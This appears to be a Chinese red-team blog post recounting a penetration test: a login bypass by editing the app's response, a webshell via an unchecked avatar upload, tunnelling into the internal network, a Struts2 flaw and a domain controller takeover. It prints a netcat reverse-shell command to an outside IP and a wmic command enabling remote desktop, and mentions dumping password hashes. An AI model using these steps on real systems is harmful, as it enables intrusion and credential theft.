
2020/7/27 铁头娃的渗透测试

https://mp.weixin.qq.com/s/DnHg2ImxSsLJqcYMgmWMdw 1/14

铁头娃的渗透测试

这是 酒仙桥六号部队 的第 12 篇⽂章。

全⽂共计1268个字，预计阅读时⻓5分钟。
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争当好⻘年，疫情期间，坚决执⾏政府与公司的要求，⽆奈在家办公的我⼀如既往的接

到了渗透测试的任务。

正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇正篇

话不多说，开⼲。  

原创 队员编号011 6⽉1⽇酒仙桥六号部队
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01 信息搜集

⽼规矩，第⼀步先从信息搜集开始。

对⽬标进⾏⼦域名搜集，并没有发现⼦域名。  
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02

扫描⽹站⽬录⽂件，就⼀个后台登陆⻚⾯，其他什么都没有发现。  

之后还进⾏了n m a p端⼝扫描，也没有发现什么有价值的问题。

没办法，只能正⾯硬刚了。（P S：体现⼀下我们钢铁直男的性格特征）

⼿⼯测试

基于各类扫描⼯具都不能很好的提供有⽤的信息，只好掏出了我的 b u r p，⼀步⼀步的去

看。

通过抓包发现，在⽹站的登陆处存在明⽂密码传输，刚好⽹站也没有验证码机制（就算

表⾯上有验证码，各位师傅也要去尝试⼀下验证码重放的问题）。  
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在知道初始化密码的情况下，尝试暴⼒枚举，看看能不能中奖。

提示⽤户名不存在，表示今天运⽓不⾏啊。  

⼜尝试更改⽹站响应包来绕过登陆⻚⾯，也失败了。

不服输的我，⼜开始研究S Q L注⼊，果不其然，S Q L注⼊也不存在。  

我这爆脾⽓，没有业务逻辑结构漏洞、爆破不进去、S Q L注⼊没有……

已经开始准备划⽔了，但是，突然发现了⼀个新情况。
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03 时来运转

由于划⽔的姿势⽐较正确（其实信息搜集的⼯作⼀直就没有停），发现登陆报错的时候，

⽹站下⽅会有⼀个图⽚，基于⼀个⽩帽⼦（⼩辣鸡）敏感的嗅觉，保存在本地以后查

看，发现是⼀个⼆维码。  

打开浏览器扫⼀扫⼆维码，发现是这个⽹站的a p p版。  
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柳暗花明⼜⼀村～～

把a p p下载下来，对a p k⽂件进⾏逆向分析。



2020/7/27 铁头娃的渗透测试

https://mp.weixin.qq.com/s/DnHg2ImxSsLJqcYMgmWMdw 7/14

04

⽆奈，逆向分析、代码审计这种东⻄，并不是我所擅⻓的⽅向，所以⿎捣了好久也没有

结果，故⽽转战a p p的登陆以及数据传输⽅⾯的问题。

步⼊正轨

通过 b u r p抓 a p p的登陆包，并尝试修改数据，发现，登陆错误时，登陆的响应包数据

为：

{ " c o d e " : 1 }

此处待定。

这才是真正的时来运转，a p p登陆处存在业务逻辑漏洞，成功进⼊后台。  



2020/7/27 铁头娃的渗透测试

https://mp.weixin.qq.com/s/DnHg2ImxSsLJqcYMgmWMdw 8/14

之后就是常规的后台漏洞发现了。

在个⼈头像处，可以进⾏⽂件上传，测试发现只在前端做限制，通过抓包修改，直接绕

过，成功获取w e b s h e l l。  
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05 reGeog+proxifier进⾏内⽹渗透

在获取w e b s h e l l以后，发现防⽕墙D M Z区域映射外⽹端⼝8 0，使⽤常规 l c x等反弹⼯具

被杀毒软件拦截，尝试w e b s h e l l提权⽆果。

⼀筹莫展之时，想到可以使⽤ r e G e o g + p r o x i f i e r正反向代理使⾃⼰进⼊内⽹。

⼀顿操作之后，成功进⼊内⽹。

进⼊内⽹之后，通过信息搜集，发现⼀台内⽹主机存在 s t r u t s 2命令执⾏漏洞。
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直接执⾏命令，n c反弹端⼝：

n c  - e  c m d . e x e  1 . 0 . 0 . 1  3 3 8 9

使⽤ p o w e r s h e l l在线抓去本地 h a s h，意外发现该主机登陆过域控服务器，成功抓取到

域控服务器的密码。
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通过域命令查询域控服务器 I P，尝试远程桌⾯连接，但域控服务器的远程桌⾯并未开

启。  
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尝试使⽤命令开启远程桌⾯，但 c m d命令被限制，但可以使⽤w m i c命令。使⽤m i s c命

令：

w m i c  /  n o d e：％p c n a m e％ /  U S E R：％p c a c c o u n t％P A T H

w i n 3 2 _ t e r m i n a l s e r v i c e s e t t i n g  W H E R E（ _ _ C l a s s！= “ ”）

C A L L  S e t A l l o w T S C o n n e c t i o n s  1

成功登陆域控服务器。

⾄此，本次渗透过程圆满结束～～

⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结⼩结

总体来说，本次渗透还是达到了预期的⽬标，虽然过程磕磕绊绊的，但是还是拿到了⾃⼰

想要的东⻄。

总结下本次渗透的知识点：
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1 .信息搜集很重要，全程信息搜集不要停

2 .细⼼很重要，不要放过捕获的每⼀条信息

3 .坚信你能搞定他～～


